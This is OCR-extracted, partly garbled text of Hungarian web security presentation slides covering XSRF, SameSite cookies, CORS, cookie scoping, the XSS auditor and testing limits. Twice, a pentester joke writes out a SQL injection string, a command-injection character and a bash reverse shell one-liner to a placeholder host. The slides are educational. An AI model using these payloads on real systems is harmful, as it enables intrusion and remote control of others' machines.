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user ilyet, kiilonben...
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orok klasszikus Ehe New Nork Times

még mindig gyakori
Thieves Found Citigroup
WAF sem véd ellene Site an Easy Entry

. s ’ ive this article =
sokszor architekturalisan érdemes B W) (&

m egkoze lite n | a javfté St By Nelson D. Schwartz and Eric Dash

June 13, 2011

Think of it as a mansion with a high-tech security system — but the

https://www.nytimes.com/2011/06/14/technology/
14security.html

front door wasn’t locked tight.


https://www.nytimes.com/2011/06/14/technology/14security.html
https://www.nytimes.com/2011/06/14/technology/14security.html

A software tester walks into a bar. Orders 0 beers. Orders 99999999 beers. Orders a lizard
in a beer glass. Testing complete.
A real customer walks into the bar and asks where the bathroom is.

The bar goes up in flames.

A pentester walks into a bar. Orders a beer. Orders ' beers. Orders ' or 'a'='a' -- ¢
beers. Orders a ~id" beer. Orders a ;bash -i >& /dev/tcp/x.x.x.x/443 0>&1
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Eredeti elvaras:
belépett felhasznalé tranzakcid eldtt atkeriil egy autorizacids oldalra
ott azonositjak az SCA szabélyai szerint

kap egy tokent és visszakeriil az eredeti oldalra
a token birtokaban végrehajthatja a tranzakciot



A software tester walks into a bar. Orders 0 beers. Orders 99999999 beers. Orders a lizard
in a beer glass. Testing complete.

A real customer walks into the bar and asks where the bathroom is.
The bar goes up in flames.
A pentester walks into a bar. Orders a beer. Orders ' beers. Orders ' or 'a'='a' -- ¢
beers. Orders a ~id" beer. Orders a ;bash -i >& /dev/tcp/x.x.x.x/443 0>&1
Eredeti elvaras:

belépett felhasznalé tranzakcid eldtt atkeriil egy autorizacids oldalra
ott azonositjak az SCA szabalyai szerint

kap egy tokent és visszakeriil az eredeti oldalra

a token birtokaban végrehajthatja a tranzakciot

Pentester megkozelités: ugyanaz keriilt azonositasra mint aki “bevaltja” épp a tokent?



szép Gj vilag: HTML + CSS + JS mindenre
alkalmas

bongészémotor by design sandbox
hol helyezziik el a bizalmi hatart?

JS? <iframe>? AJAX?

https://xkcd.com/2044/

“L WISH THESE PARTS
COULD COMMUNICATE
MORE. EASIY"

‘

“0OH, THIS NEW TECHNOLOGY
MPKES IT EASY TO ENCLOSE
ARBITRARY THINGS IN
SECURE. SANDBOXES!"

58~

“00H, THIS NEW TECHNOLOGY'
MAKES IT EASY TO CREATE

"= | ARBITRARY CONNECTIONS,

INTEGRATING EVERYTHING!
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“UH-OH, THERE ARE.
SO MANY CONNECTIONS
T CREATING BUGS
AND SECURITY HOLES!"
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HTTP konvenci6 1.1 6ta Google Web Accelerator: Hey, not so
fast - an alert for web app designers

Safe: GET, HEAD, OPTIONS, TRACE

225 comments

Google’s web accelerator seems like a good thing for the public web,
. 2z but it can wreak havok on web-apps and other things with admin-
Idem pOtenS. PUT es DELETE links built into the UL How’s that?

The accelerator scours a page and prefetches the content behind each
- X link. This gives the illusion of pages loading faster (since they’ve
XSRF: tr"v'alls already been pre-loaded behind the scenes). Here's the problem:
Google is essentially clicking every link on the page — including links
like “delete this” or “cancel that.” And to make matters worse, Google
ignores the Javascript confirmations. So, if you have a “Are you sure

Keretrendszer. nem lét bele| you want to delete this?” Javascript confirmation behind that “delete”

link, Google ignores it and performs the action anyway.

We discovered this yesterday when a few people were reporting that
https://signalvnoise.com/archives2/google_web_ 09 e decper and dscovered e e Acceerator sonavior Once
accelerator_hey_not_so_fast_an_alert for_web_ brefetching the pages and clcking he Inke, bt 1 wes
app_designers_ php disconcerting.



https://signalvnoise.com/archives2/google_web_accelerator_hey_not_so_fast_an_alert_for_web_app_designers.php
https://signalvnoise.com/archives2/google_web_accelerator_hey_not_so_fast_an_alert_for_web_app_designers.php
https://signalvnoise.com/archives2/google_web_accelerator_hey_not_so_fast_an_alert_for_web_app_designers.php

modern webapp — kiilon API, kilon
frontend

CORS megengedi a Same-Origin Policy
lebontasat

ki allitja be? app? appszerver?
webszerver? WAF?

https://xkcd.com/2347/

ALL MODERN DIGITAL
INFRASTRUCTURE

RANDOM PERSON
IN NEBRASKA HAS
BEEN THANKLESSLY
MAINTAINING
SINCE 2003



https://xkcd.com/2347/

1994-ben beraktak a HTTP slitikezelést egy Netscape bétaba

alulspecifikalt, RFC utélag probalja a gyakorlati implementaciot korilirni
cegneve . hu domainre...

... beallitott siitit megkapja alpha. cegneve. hu
...beallithat siitit beta. cegneve. hu

felhasznalé altal feltoltott tartalom kiszolgalasa — XSRF bypass
keretrendszer probléma: szképon kiviili interakcio

best practice megoldas: feltoltott tartalom teljesen kiilon domainen

<user>.github.io és githubusercontent.comvs. github.com
googleusercontent.comvs. google.com
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XSRF: éveken at mumus, tobbféle design patternnel kezelhetd
SameSite siiti: Chrome (2016), 2020 augusztusaban 100% rollout
innentdl kidobhatjuk az OWASP pontokbdl és a webes metodoldgiabdl?



XSRF: éveken at mumus, tobbféle design patternnel kezelhetd
SameSite siiti: Chrome (2016), 2020 augusztusaban 100% rollout

innentdl kidobhatjuk az OWASP pontokbdl és a webes metodoldgiabdl?
NTLM: SSO before it was cool



2010: Chrome-ba bekeriilt az XSS auditor
ASP.NET Request Validator sztiri az XSS-gyands bemeneteket
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2010: Chrome-ba bekeriilt az XSS auditor

ASP.NET Request Validator sztiri az XSS-gyands bemeneteket

innentdl kidobhatjuk az OWASP pontokbdl és a webes metodoldgiabdl?
mi van, ha a fejleszt6é Base-64 kddolast hasznal?

(bbénusz: 2019-ben Chrome-ban kikapcsolasra keriilt a blokkolé méd)
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uzleti webalkalmazas, URL paraméterek HOW To USE PGP To VERIFY
magas entropiajl Base-64 THAT AN EMAIL 1S AUTHENTIC:
paraméterekkel LOOK FORTHIS

rendszeres vizsgalat végén riport: nem TEXT AT THE TOP

igazan lehet vele mit kezdeni

egyik évben 0] feature: titkosit6 és

feloldé ordkulum (——--BEGIN PGP SIGNED MESSAGE-——)

eredmény: XSS és egyéb
sériilékenységek
WAF, keretrendszer és pentesterek se

latnak bele IF IT5 THERE, THE EMAIL 15 PROBABLY FINE.
https://xkcd.com/1181/
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nehéz a rendszereket atlatni

“In some sense, the cynical person would say that the only person in computing that is
paid to actually understand the system from top to bottom is the attacker. Everybody
else is usually paid to understand their part” - Halvar Flake
https://youtu.be/8QRnNOpjmneo?t=135
egy keretrendszer 5nmagaban nem fog megvédeni mindent6l — a hibamennyiség
onmagaban nem feltétlendil j6 metrika

“Program testing can be used to show the presence of bugs, but never to show their
absence!” - Edsger W. Dijkstra
http://homepages.cs.ncl.ac.uk/brian.randell/NATO/nato1969.PDF


https://youtu.be/8QRnOpjmneo?t=135
http://homepages.cs.ncl.ac.uk/brian.randell/NATO/nato1969.PDF
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